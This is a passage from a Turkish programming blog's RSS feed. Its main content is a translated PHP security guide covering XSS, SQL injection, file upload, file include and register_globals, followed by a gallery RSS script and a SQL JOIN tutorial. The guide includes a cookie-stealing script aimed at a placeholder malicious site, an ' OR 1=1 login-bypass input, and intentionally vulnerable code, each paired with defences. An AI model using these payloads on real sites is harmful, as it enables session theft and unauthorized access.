AntiVirus Free Edition</a> yazılımını kullanın.</li><li>Sisteminize gelecek herhangi bir zarardan biz sorumlu değiliz.</li></ul><blockquote><p><font color="#585858" face="Verdana">Live Messenger&#8217;ın reklam, uyarı, sarı bant vb. gibi saçmalıklarından kurtulmak için <a href="http://apatch.org/" target="_blank" class="liexternal previewlink">a-Patch</a> yazılımını kullanabilirsiniz.</font></p></blockquote><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2010/04/qmsnav.jpg" class="liimagelink"><img src="http://muzaffer.akyil.net/wp-content/uploads/2010/04/qmsnav-150x150.jpg" alt="" title="qmsnav" width="150" height="150" class="alignnone size-medium wp-image-219 colorbox-212" /></a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2010%2F04%2F02%2Fmakale%2Fguvenlik%2Fadmin%2Fqmsnav-live-messenger-virs-programi-atlatma.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-212"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=212&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2010/04/02/makale/guvenlik/admin/qmsnav-live-messenger-virs-programi-atlatma.aspx/feed</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>PHP Güvenlik Kılavuzu</title><link>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx</link> <comments>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx#comments</comments> <pubDate>Fri, 20 Feb 2009 11:47:27 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[arı]]></category> <category><![CDATA[ddos]]></category> <category><![CDATA[injection]]></category> <category><![CDATA[okan]]></category> <category><![CDATA[SQL]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/?p=145</guid> <description><![CDATA[Çok değerli arkadaşım Okan Arı&#8216;nın PHP ve Güvenlik üzerinde derlediği Türkçeye çevirdiği bir metni sizinle paylaşmak istedim. Buyrun bakalım ; Giriş PHP, bir çok yazılım dilinden farklı olarak, buffer-overflows gibi hafıza problemleri olan, bundan dolayı güvenlik problemine neden olabilecek bir dil değildir. Aynı zamanda PHP öğrenilmesi kolay ve hızlı bir dildir. Bu kolay ve hızlı [...]]]></description> <content:encoded><![CDATA[<p>Çok değerli arkadaşım <a href="http://www.okanari.com" target="_blank" class="liexternal previewlink">Okan Arı</a>&#8216;nın PHP ve Güvenlik üzerinde derlediği Türkçeye çevirdiği bir metni sizinle paylaşmak istedim.<br /> <span id="more-145"></span><br /> Buyrun bakalım ;</p><p><strong>Giriş</strong></p><p>PHP, bir çok yazılım dilinden farklı olarak, buffer-overflows gibi hafıza problemleri olan, bundan dolayı güvenlik problemine neden olabilecek bir dil değildir. Aynı zamanda PHP öğrenilmesi kolay ve hızlı bir dildir. Bu kolay ve hızlı öğrenilebilirlik, bu dili bir çok kişinin öğrenmesine, aynı hızda üretim yaparak uygulama geliştirmesine de olanak sağlamaktadır. Ancak bu durum, bilinsizce yapılan kodlama teknikleri nedeniyle kendi içerisince ciddi bir güvenlik problemini yanında getirmektedir.<br /> Bu klavuz size, online güvenlik, web tabanlı yazılım geliştirirken PHP’de temel güvenliği nasıl sağlayacağınız konusunda fikir vermek için hazırlanmıştır. Klavuz içerisinde başlangıç seviyesi kullanıcılar için önemli bilgiler, uzmanlar için belki de gözden kaçan ufak ipuçları bulunabilir.<br /> <strong><br /> Atak Tipleri:</p><p>XSS Atağı:</strong><br /> XSS &#8220;Cross Site Scriptting&#8221; anlamında kullanılmaktadır ve bir sayfaya içerik girmek -JavaScript gibi- gibi düşünebiliriz. XSS atakları genelde kullanıcının Cookie (çerez) lerini çalmak amacıyla kullanılır. Bu cookie’ler kullanıcı login bilgileri, sişreleri ya da benzeri önemli bilgileri içeriyor olabilir.</p><p>Basit anlamda bir örnek verelim.</p><pre class="brush: php; ">

$id=$_GET[&#039;id&#039;];
echo &quot;Gelen ID degeri:&quot;.$id;
</pre><p>Yukarıdaki kodda, $_GET[’id’] degiskeni bir sayı ise problem yok. Ancak ya aşağıdaki gibi bir kodsa?</p><pre class="brush: js; ">

&lt;script&gt;
window.location.href = &quot;http://kotuamaclisite.com/cookie-calanscript.php?c=&#039; + document.cookie;
&lt;/script&gt;
</pre><p>Kullanıcı bir sekilde, bu kotu amaçlı kodu çalıştırırsa, tüm cookie bilgilerini kotü amaçlı siteye devredebilir.</p><p><strong>XSS Ataklarından Nasıl Korunurum?</strong></p><p>İlk olarak, asla kullanıcı girişi bilgilerine güvenmeyiniz. Kullanıcılardan girilen her bilgiyi mutlaka kontrol edip filtrelememiz gerekiyor. Yani gelen kullanıcı bilgilerini HTML tag’lerinden arındırırsak bir JavaScript kodu çalıştırılamak hale getirebiliriz. Bunu yapmanın en kolay yolu PHP’nin strip_tags() fonksiyonunu kullanmaktır. Bu fonksiyon tüm HTML tag’lerini temizleyecektir. HTML tag’lerini silmemek ama onları zararsız hale getirmk için htmlentities() fonksiyonunu da kullananilirsiniz. Bu fonksiyon, < ve > karakterlerini < ve >karakterlerine dönüştürecektir.</p><p><strong>SQL Injection Yönetemi:</strong></p><p>Günümüzde bir çok web sitesi verileri barındırmak için veritabanı kullanmaktadır. Bu bağlamda veritabanına girmek için bir çok INSERT, UPDATE ve SELECT işlemleri yapılmaktadır. Buna rağmen bir çok site, form verileri açısında SQL Injection yöntemi ile atağa uğramak konusunda yeterli güvenliğe sahip değildir.</p><p>SQL Injection, değiştirilmiş, atak için düzenlenmiş form içerikleri ile yapılan veritabanı sorgularıdır. Bu ataklar veritabanınızdan bir kaç veriyi çalmak, izinsiz login olmak, ya da tüm veritabanını silmek gibi sonuçları doğurabilir.</p><p>En genel kullanımı anlatmak için aşağıdaki kod örneğine bakalım:</p><pre class="brush: php; ">

site_users
WHERE
username = &#039;$username&#039;
AND
password = &#039;$password&#039;
&quot;);

if ( mysql_num_rows($result) &gt; 0 )
// login oldu
</pre><p>Yukarıdaki kod örneği, SQL Injection için gerekli ortamı hazırlamaktadır, bu konuda zaafiyet oluştrabilecek bir kod örneğidir. Kötü amaçlı bir kişi yukarıdaki SQL&#8217;i değiştirerek sisteme izinsiz giriş yapabilir. (Kullanıcı şifresini girmeden login olabilir)</p><p>Örneğin kötü kullanıcı (saldırgan) kullanıcı adı alanına &#8220;rob&#8221; şifre (password) alanına aşağıdaki gibi bir giriş yaparsa:</p><p>&#8216; OR 1=1 &#8216;</p><p>Yukarıdaki kod şu şekli alır:</p><pre class="brush: sql; ">

SELECT *
FROM
site_users
WHERE
username = &#039;rob&#039;
AND
password = &quot; OR 1=1
</pre><p>Bu SQL sorgusu ise, kullanıcı adı &#8220;rob&#8221; olan kaydın şifresi ne olursa olsun getirmektedir. Yani şifre kontrolu gerçekleşememiştir.</p><p><strong>SQL Injection Atağından Nasıl Korunurum?</strong></p><p>XSS Atağında olduğu gibi, en büyük sorun kullanıcının gönderdiği veriyi olduğu gibi kullanmaktır. Korunmanın en iyi yöntemi ise, kullancıı verisini riskli karakterlerden arındırmaktır. mysql_real_escape_string() fonksiyonu bu amaçla PHP içerisinde yer alıyor. Bu fonksiyon riskli olan &#8216; ve &#8221; gibi karakterleri temizlemektedir. Ayrıca, SQL sorgularınızda kullandığınız kullancıı verileri, eğer, sayı olmanı bekleniyorsa intval() fonksiyonu ile gelen verinin sadece sayı bilgisi olan kısmı alınmalıdır.</p><p><strong>Dosya Yüklemesi Atağı (File Upload)</strong></p><p>Kullancıların yükledikleri dosyalar en büyük güvenlik risk unsurlarının başında gelmektedir. Bu, tanımadığınzı bilmediğiniz dosyaları sunucunuzda barındırmak anlamındadır. Bu dosyalar, dosyalarınız silmek için, veri tabanınızı boşaltmak için olabilir. Ya da daha başka bir çok güvenlik problemine neden açabilecek dosyalar olabilir.</p><p>Buna rağmen, güvenli şekilde dosya almak kontrol içerisinde alındığında mümkündür.</p><p>Kullanıcıların sisteminize dosya yüklemesine izin verdiğiniz durumlarda, kontrol etmeniz gereken 2 önemli bilgi mevcuttur.</p><p>Birincisi, dosyanın &#8220;mime-type&#8221; ıdır. Yani, dosyanın header’ında bulunan ve dosya tipini belirten bölüm. Örneğin kullanıcının sadece resim dosyası upload etmesini istiyorsanız yüklenen dosyanın &#8220;mime-type&#8221; ı image/png, image/jpeg, image/gif, image/x-png ya da image/p-jpeg olmalıdır. Aşağıdaki kod bu kontrolü gerçekleştirir.</p><pre class="brush: php; ">

$validMimes = array(
&#039;image/png&#039;,
&#039;image/x-png&#039;,
&#039;image/gif&#039;,
&#039;image/jpeg&#039;,
&#039;image/pjpeg&#039;
);

$image = $_FILES[&#039;image&#039;];

if(!in_array($image[&#039;type&#039;], $validMimes)) {
die(&#039;Üzgünüm, izin verilmeyen dosya tipi.&#039;);
}

// İşlem tamam yüklemeyi gerçekletir vs vs.
</pre><p>İkinci kontrol etmeniz gereken bilgi ise, dosyanın uzantısıdır. Zira, mime-type bilgisi manuple edilebilir bir bilgidir. Bu bağlamda dosyanın uzantısını kontrol etmeniz gerekir. Zira bir kullanıcı, bir imaj dosyasının mime-type ı ile bir PHP dosyası gönderebilir. Bu durumda siz bir PHP dosyasını sisteminize almış olursunuz ki bu çok ciddi bir risk faktörüdür.</p><p>Bu durumdan korunmak için, sisteminize yüklediğiniz dosyaların uzantıları, siz tanımlamalısınız. Bu tanımlamayı ise mime-type bilgise göre yapabilirsiniz. Aşağıdaki örneğe bakalım:</p><pre class="brush: php; ">

$validMimes = array(
&#039;image/png&#039; =&gt; &#039;.png&#039;,
&#039;image/x-png&#039; =&gt; &#039;.png&#039;,
&#039;image/gif&#039; =&gt; &#039;.gif&#039;,
&#039;image/jpeg&#039; =&gt; &#039;.jpg&#039;,
&#039;image/pjpeg&#039; =&gt; &#039;.jpg&#039;
);

$image = $_FILES[&#039;image&#039;];

if(!array_key_exists($image[&#039;type&#039;], $validMimes)) {
die(&#039;Üzgünüm, izin verilmeyen dosya tipi.&#039;);
}

// Dosya uzantısını barındırmayan dosya adını alalım:
$filename = substr($image[&#039;name&#039;], 0, strrpos($image[&#039;name&#039;], &#039;.&#039;));

// Mime type göre dogru uzantıyı verelim
$filename .= $validMimes[$image[&#039;type&#039;]];

// İşlem tamam
</pre><p>Yukarıdaki örnekle, bir PHP dosyanının sanki bir resim dosyasıymış gibi sisteminize PHP dosyası olarak yüklenmesini engellediniz. Dosya mime-type’ı PNG’yi işaret ediyorsa, dosya uzantısı .png olacaktır.</p><p><strong>Dosya Include Atağı:</strong></p><p>Kullanımı çok yaygın olan index.php?sayfa=xxxx.php şeklideki dosya include yöntemi çok ciddi risk taşıyabilir. Bu kullanım genelde, menü yapısı, logo gibi bölümleri index.php ye kaydedip içerik bölümünü başka dosyalarda saklayarak site yönetimini kolaylaştırmak için kullanılır. Bu durumdaki yanlışlık,</p><pre class="brush: php; ">

include $_GET[&#039;sayfa&#039;];
</pre><p>gibi bir kod ile gelen değişkene göre sayfayı include etmektendir.</p><p>Yukaridaki kullanımda PHP’nin allow_url_fopen ayarı ON durumda ise, yani aktifse, saldırgan başka bir sunucudaki dosyayı sitenize include edebiliyor demektir. Kodunuz da echo file_get_contents() değil de include kullanıdığı için bu çok sık karşılaşılan bir açığa sebebiyet vermektedir. Bu durum, sunucunuzun tüm kontrolünü saldırgana bırakmak demektir.</p><p>Bu durumdan yapabileceğiniz 2 şey vardır.</p><p>Birincisi, bir liste oluşturup gelen değişkeni burada kontrol etmektir. Örneğin şöyle bir kod ile:</p><pre class="brush: php; ">

switch($_GET[&#039;sayfa&#039;]) {
case &quot;hakkimizda&quot;:
include(&#039;hakkimizda.php&#039;);
break;
case &quot;haberler&quot;:
include(&#039;haberler.php&#039;);
break;
default:
include(&#039;anasayfa.php&#039;);
}
</pre><p>Bu kod ile include edebileceğiniz her sayfayı belirtiyor ve belirtmediğiniz sayfa için anasayfa.php dosyasını include ediyorsunuz. Bu yöntemin zor tarafı, ekleyeceğiniz her sayfayı bu listeye de eklemek zorunluluğudur.</p><p>İkinci bir yöntem ise, dışarodan gelen $_GET['sayfa'] değişkenini kontrol etmek ve temizlemektir.</p><pre class="brush: php; ">

$sayfa = preg_replace(&#039;/\W/si&#039;, &#039;&#039;, $_GET[&#039;sayfa&#039;]);

include(&#039;./&#039;.$sayfa.&#039;.php&#039;);
</pre><p>Yukarıdaki kod, &#8220;..&#8221;, &#8220;/&#8221; gibi karakterleri temizleyerek kullanıcının 212.111.111.111 gibi ip ya da http://www.kotusite.com gibi domain belirtmesini engeller. Bu verileri 212111111111, httpwwwkotusitecom şekline çevirir.</p><p>Dosya include atağındaki diğer bir açık ise, include edilen dosyaların uzantılarını .inc gibi sunucunun tanımayacağı bir uzantı yapmaktır. Örneğin, config.inc gibi bir dosya yapıp bunu include etmek çok sakıncalı olabilir. Zira, saldırgan bu dosyanın adını ve yerini öğrendiğinde, eğer web suncuunuz bu dosyayı çalıştırabilir bir dosya olarak tanımıyorsa (ki tanımama ihtimali yüksektir), saldırdan dosya içeriğini görecektir. Bu durumda yapabileceğiniz, her türlü dosya uzantınızı .php yapmaktır. Boylece saldırgan bu dosyaların içeriğini görüntüleyemez. Diğer bir yöntem ise Apache sunucular için, aşağıdaki gibi bir .htaccess dosyası olusturarak .inc dosyalarının ulaşılmasını engelleyebilirsiniz.</p><pre class="brush: c; ">

&lt;files ~ &quot;\.inc$&quot;&gt;
Order allow,deny
Deny from all
&lt;/files&gt;
</pre><p><strong>Register Globals Atağı:</strong></p><p>register_globals değeri PHP ayarında ON durumda ise, $_POST, $_GET, $_SERVER, $_COOKIE, $_REQUEST, $_FILE ile gelen değişkenlere global değişkenler olarak ulaşabilirsiniz. Yani mesela $_POST[’mesaj’] değişkenine $mesaj olarak ulaşabilirsiniz.</p><p>register_globals değeri güncel PHP kurulumlarında varsayılan olarak OFF durumdadır. Ancak eski bir PHP kurulumu bulunan sunucuda, ya da sistem yönetici tarafından özellikle açılmış bir sunucuda ON durumunda olabilir (ki paylaşımlı hosting firmaları geçmiş müşterilerinin kodlarının uyumu adına açabiliyorlar).</p><p>register_globals’in ON olamsı durumu için aşağıdaki kodu inceleyelim.</p><p>dosya.php dosyası örneği:</p><pre class="brush: php; ">

if($_POST[&#039;username&#039;] == &#039;rob&#039; &amp;&amp; $_POST[&#039;password&#039;] == &#039;foo&#039;) {
$authenticated = true;
}

if($authenticated) {
// giriş başarılı bişeyler yapalım
}
</pre><p>Saldırgan, dosya.php?authenticated=true şeklinde bir URL çağrımı ile, sisteme izinsiz giriş yapabilir.</p><p>Bu durumda ne yapacağız, register_globals değerini OFF yapamayabileceğimiz durumların her zaman gerçekleşebileceğini düşünerek, kodumuzu şu şekilde değiştirelim.</p><pre class="brush: php; ">

$authenticated = false;

if($_POST[&#039;username&#039;] == &#039;rob&#039; &amp;&amp; $_POST[&#039;password&#039;] == &#039;foo&#039;) {
$authenticated = true;
}

if($authenticated) {
// giriş başarılı bişeyler yapalım
}
</pre><p>Bu kod, $authenticated değişkenini sayfa başında false yapmaktadır. $_POST&#8217;tan gelen veri eğer uygunsa $authenticated true yapılır. Böylece, dışarıdan gönderilen değişken ile izinsiz giriş yaplıması engellenmiş olur.</p><p>Derleme ve Çeviri : <a href="http://www.okanari.com" target="_blank" class="liexternal previewlink">Okan ARI</a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2009%2F02%2F20%2Fmakale%2Fyazilim%2Fphp%2Fadmin%2Fphp-guvenlik-kilavuzu.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-145"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=145&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx/feed</wfw:commentRss> <slash:comments>6</slash:comments> </item> <item><title>PicLens XML Parser for ImageVue Image Gallery</title><link>http://muzaffer.akyil.net/2008/09/24/makale/yazilim/php/admin/piclens-xml-parser-for-imagevue-image-gallery.aspx</link> <comments>http://muzaffer.akyil.net/2008/09/24/makale/yazilim/php/admin/piclens-xml-parser-for-imagevue-image-gallery.aspx#comments</comments> <pubDate>Wed, 24 Sep 2008 06:58:05 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Internet]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[cooliris]]></category> <category><![CDATA[dirlist]]></category> <category><![CDATA[galeri]]></category> <category><![CDATA[imagevue]]></category> <category><![CDATA[piclens]]></category> <category><![CDATA[rss]]></category> <category><![CDATA[xml]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/?p=116</guid> <description><![CDATA[Evet arkadaşlar uzun süredir bişiler karalamıyordum. Bu aralar işler baya yoğun. Geçenlerde çektiğim bazı fotoğrafları yayınlamak için bir galeri arayışına girdim. ImageVue ile tanıştım. Gayet başarılı bir galeri. Bu galeri yazılımını kullanarak kendi galerimi oluşturdum. Sonrasında Sağlam bir Firefox kullanıcısı olduğumdan Firefox eklentisi olan PicLens ile galeriyi entegre etmeye çalıştım. Ve sonuç olarak aşağıdaki kodlar [...]]]></description> <content:encoded><![CDATA[<p>Evet arkadaşlar uzun süredir bişiler karalamıyordum. Bu aralar işler baya yoğun. Geçenlerde çektiğim bazı fotoğrafları yayınlamak için bir galeri arayışına girdim. <a href="http://imagevuex.com/" target="_blank" class="liexternal previewlink">ImageVue</a> ile tanıştım. Gayet başarılı bir galeri. Bu galeri yazılımını kullanarak <a href="http://muzaffer.akyil.net/galeri" target="_blank" class="liinternal">kendi galerimi</a> oluşturdum. Sonrasında Sağlam bir <a href="http://www.mozilla.org" target="_blank" class="liexternal previewlink">Firefox </a>kullanıcısı olduğumdan Firefox eklentisi olan <a href="http://www.cooliris.com/" target="_blank" class="liexternal previewlink">PicLens</a> ile galeriyi entegre etmeye çalıştım. Ve sonuç olarak aşağıdaki kodlar meydana çıktı.<span id="more-116"></span></p><p>Öncelikle PicLens fotograflarımızın küçük hallerini ve büyük hallerini bir <strong>RSS (XML)</strong> içinde toplamamızı istiyor ve bu topladığımız bilgileri <strong>photos.rss</strong> adı aldında galerinin bulunduğu ana klasörde bulundurmamız gerekiyor. Aşağıda yazdığım php kodu galerimizin bulunduğu klasörler içindeki fotolarmızı araştırıp XML haline getiriyor. Bilindiği üzere <strong>RSS</strong> uzantısı <strong>text/plain</strong> bir uzantıdır. Öncelikle rss uzantısı ile php çalıştıracağımızı Apache Web Sunucusu yazılımına bildirmemiz gerekli. Bu sebepten galerinin kök dizinine .htaccess diye bir dosya oluşturup içine aşağıdaki kodu yazıyoruz.</p><p><strong>.htaccess içeriği</strong></p><pre class="brush: c; ">

AddType application/x-httpd-php .rss
</pre><p>Daha sonrasında aşağıdaki kodları photos.rss dosyasını oluşturarak içine yapıştırıyoruz.</p><p><strong>photos.rss içeriği</strong></p><pre class="brush: php; ">

/*
PicLens XML Parser for ImageVue Image Gallery
Coder by Victorious
Web : http://muzaffer.akyil.net &amp; Gallery : http://muzaffer.akyil.net/galeri
*/

//Tanımlar
$title = &quot;Muzaffer AKYIL - Photographer&quot;; //Sayfa Başlığı
$desc = &quot;Muzaffer AKYIL Photographer&quot;; //Sayfa Açıklaması
$link = &quot;http://muzaffer.akyil.net/galeri/&quot;; //Sayfa Linki
$klasor = &quot;./content&quot;; //Fotoğrafların Bulunduğu Klasör
// Tanım Sonu

header(&quot;Content-Type: application/xml; charset=ISO-8859-9&quot;);
function ListFiles($dir) {
    if($dh = opendir($dir)) {
        $files = Array();
        $inner_files = Array();
        while($file = readdir($dh)) {
            if($file != &quot;.&quot; &amp;&amp; $file != &quot;..&quot; &amp;&amp; $file[0] != &#039;.&#039;) {
                if(is_dir($dir . &quot;/&quot; . $file)) {
                    $inner_files = ListFiles($dir . &quot;/&quot; . $file);
                    if(is_array($inner_files)) $files = array_merge($files, $inner_files);
                } else {
				if(substr($file,-3) == &#039;jpg&#039; || substr($file,-3) == &#039;JPG&#039;){
					if(substr($file,0,2)!=&#039;tn&#039;) {
                    	array_push($files, $dir . &quot;/tn_&quot; . $file);
					}
				}
                }
            }
        }
        closedir($dh);
        return $files;
    }
}
echo &#039;&lt; ?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&gt;
&lt;rss version=&quot;2.0&quot; xmlns:media=&quot;http://search.yahoo.com/mrss&quot; xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&gt;
&lt;channel&gt;
&lt;title&gt;&#039;.$title.&#039;&lt;/title&gt;
        &lt;link&gt;&#039;.$link.&#039;&lt;/link&gt;
        &lt;description&gt;&#039;.$desc.&#039;&lt;/description&gt;
&#039;;
$x = 1;
foreach (ListFiles($klasor) as $key=&gt;$file){
$normal_file = str_replace(&quot;tn_&quot;,&quot;&quot;,$file);
$thumb = $file;
echo &quot;&lt;item&gt;
                &lt;title&gt;$x&lt;/title&gt;
                &lt;link&gt;$file&lt;/link&gt;
                &lt;guid&gt;$x&lt;/guid&gt;
                &lt;media :thumbnail url=\&quot;$thumb\&quot; /&gt;
                &lt;media :content url=\&quot;$normal_file\&quot; type=\&quot;image/jpeg\&quot; /&gt;
        &lt;/item&gt;&quot;;
$x = $x + 1;
}
echo &#039;&lt;/channel&gt;
&lt;/rss&gt;&#039;;
</pre><p>Son olarak photos.rss içindeki Tanımlar bölümündeki bilgileri kendi galerimize göre değiştiriyoruz.</p><p>Artık galerinizin ana sayfasına girip PicLens butonuna tıklayabilirsiniz.</p><p>Kolay Gelsin.</p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2008%2F09%2F24%2Fmakale%2Fyazilim%2Fphp%2Fadmin%2Fpiclens-xml-parser-for-imagevue-image-gallery.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-116"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=116&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2008/09/24/makale/yazilim/php/admin/piclens-xml-parser-for-imagevue-image-gallery.aspx/feed</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Inner, Outer, Left, Right, Cross(Full) Join Nedir ?</title><link>http://muzaffer.akyil.net/2008/02/23/makale/yazilim/sql/admin/inner-outer-left-right-crossfull-join-nedir.aspx</link> <comments>http://muzaffer.akyil.net/2008/02/23/makale/yazilim/sql/admin/inner-outer-left-right-crossfull-join-nedir.aspx#comments</comments> <pubDate>Sat, 23 Feb 2008 00:15:02 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[SQL]]></category> <category><![CDATA[cross join]]></category> <category><![CDATA[inner join]]></category> <category><![CDATA[join]]></category> <category><![CDATA[left join]]></category> <category><![CDATA[mssql]]></category> <category><![CDATA[mysql]]></category> <category><![CDATA[outer join]]></category> <category><![CDATA[right join]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2008/02/23/makale/yazilim/sql/admin/inner-outer-left-right-crossfull-join-nedir.aspx</guid> <description><![CDATA[SQL Sorgulama dilinde birden fazla tabloyu birleştirme yada ilgili başka tablodan veri çekmek için Inner, Outer, Left, Right, Cross Join Segmentleri kullanılır. Bunlar aşağıda belirtildiği şekilde kullanılır. Inner Join Çok basit olarak inner join&#160; bir-e-bir join anlamına gelmektedir. İki tablonuz olduğunu düşünün TabloA da Alan1 adlı bir alanınız var bu alanda A,B,C değerleri var,TabloB de [...]]]></description> <content:encoded><![CDATA[<p>SQL Sorgulama dilinde birden fazla tabloyu birleştirme yada ilgili başka tablodan veri çekmek için Inner, Outer, Left, Right, Cross Join Segmentleri kullanılır.</p></p><p><span id="more-115"></span></p><p>Bunlar aşağıda belirtildiği şekilde kullanılır.</p><h4>Inner Join</h4><p><b></b></p><p>Çok basit olarak inner join&nbsp; bir-e-bir join anlamına gelmektedir. İki tablonuz olduğunu düşünün TabloA da Alan1 adlı bir alanınız var bu alanda A,B,C değerleri var,<br />TabloB de Alan1 de ise A,B,K değerleri var.</p><p>Eğer iki tablo arasında inner join kurarsanız sonuç ta dönecek listede sadece A ve B değerleri olacaktır. Çünkü inner joinde yanlızca eşit olan kayıtlar döner.</p><pre class="brush: sql; ">

SELECT TabloA.Alan1 as TabloAAlan1 , TabloB.Alan1 as TabloBAlan1
FROM TabloA INNER JOIN TabloB
ON TabloA.Alan1 = TabloB.Alan1
/*
Kodun MSSQL de sade şekli şudur :
*/
SELECT TabloA.Alan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA , TabloB
WHERE TabloA.Alan1 = TabloB.Alan1
/*
Dönen Sonuç :
TabloAAlan1 TabloBAlan1
A A
B B
*/
</pre><h4>Outer Join<br /></h4><p>Çok basit olarak outer bir-e-çoklu join anlamına gelmektedir (MsSQL Server da çok-a-çoklu join de kurulabilmektedir). İki tablonuz olduğunu düşünün TabloA da Alan1 adlı bir alanınız var bu alanda A,B,C değerleri var, TabloB de Alan1 de ise A,B,K değerleri var.</p><p>Eğer iki tablo arasında outer join kuracaksınız ve sizin için TabloA daki tüm kayıtlar TabloB de ise sadece TabloA da bulunanlar gelir.</p><p><strong>Left Outer Join<br /></strong></p><p>Join kelimesinin sol tarafındaki tabloyu baz alarak eklemek için kullanılır.</p><pre class="brush: sql; ">

SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA LEFT OUTER JOIN TabloB
ON TabloA.Alan1 = TabloB.Alan1
/*
Bu kodun MSSQL de sade şekli şudur :
*/
SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA , TabloB
WHERE TabloA.Alan1 *= TabloB.Alan1
/*
Dönen Sonuç :
TabloAAlan1 TabloBAlan1
A A
B B
C Null
*/
</pre><p><strong><br />Right Outer Join</strong><br />Join kelimesinin sağ tarafındaki tabloyu baz alarak eklemek için kullanılır.</p><pre class="brush: sql; ">

SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA RIGHT OUTER JOIN TabloB
ON TabloA.Alan1 = TabloB.Alan1
/*
Bu kodun MSSQL de sade şekli şudur :
*/
SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA , TabloB
WHERE TabloA.Alan1 =* TabloB.Alan1
/*
Dönen Sonuç :
TabloAAlan1 TabloBAlan1
A A
B B
Null K
*/
</pre><p><strong>Full Outer Join (MySQL için Cross Outer Join)<br /></strong>Her iki tablodaki tüm verileri getirmek için kullanılır.</p><pre class="brush: sql; ">

SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA FULL OUTER JOIN TabloB
ON TabloA.Alan1 = TabloB.Alan1
/*
Bu kodun MSSQL de sade şekli şudur :
*/
SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA , TabloB
WHERE TabloA.Alan1 =* TabloB.Alan1
/*
Dönen Sonuç :
TabloAAlan1 TabloBAlan1
A A
B B
Null K
C Null
*/
</pre><p>Join&#8217; nin sade halinde kullanılan &#8220;*&#8221; karakteri ise sadece Ms SQL Server&#8217;a özeldir. Oracle da ise bu karakter yerine &#8220;(+)&#8221; işareti kullanılmaktadır ve alan isimlerin sonuna bir boşluk bırakarak yazılır.</p><p>Örnek olarak : WHERE TabloA.Alan1 = TabloB.Alan1 (+)</p><blockquote><p>OUTER cümlesi kullanılmasada olur. (Left Join gibi)</p></blockquote><p>Kolay Gelsin.</p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2008%2F02%2F23%2Fmakale%2Fyazilim%2Fsql%2Fadmin%2Finner-outer-left-right-crossfull-join-nedir.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-115"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=115&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2008/02/23/makale/yazilim/sql/admin/inner-outer-left-right-crossfull-join-nedir.aspx/feed</wfw:commentRss> <slash:comments>11</slash:comments> </item> <item><title>Transcorners (Yuvarlak K&#246;şeler)</title><link>http://muzaffer.akyil.net/2008/01/25/makale/yazilim/javascript/admin/transcorners-yuvarlak-kseler.aspx</link> <comments>http://muzaffer.akyil.net/2008/01/25/makale/yazilim/javascript/admin/transcorners-yuvarlak-kseler.aspx#comments</comments> <pubDate>Fri, 25 Jan 2008 14:55:01 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[JavaScript]]></category> <category><![CDATA[css]]></category> <category><![CDATA[div]]></category> <category><![CDATA[html]]></category> <category><![CDATA[js]]></category> <category><![CDATA[transcorners]]></category> <category><![CDATA[web design]]></category> <category><![CDATA[yuvarlak köşe]]></category><guid 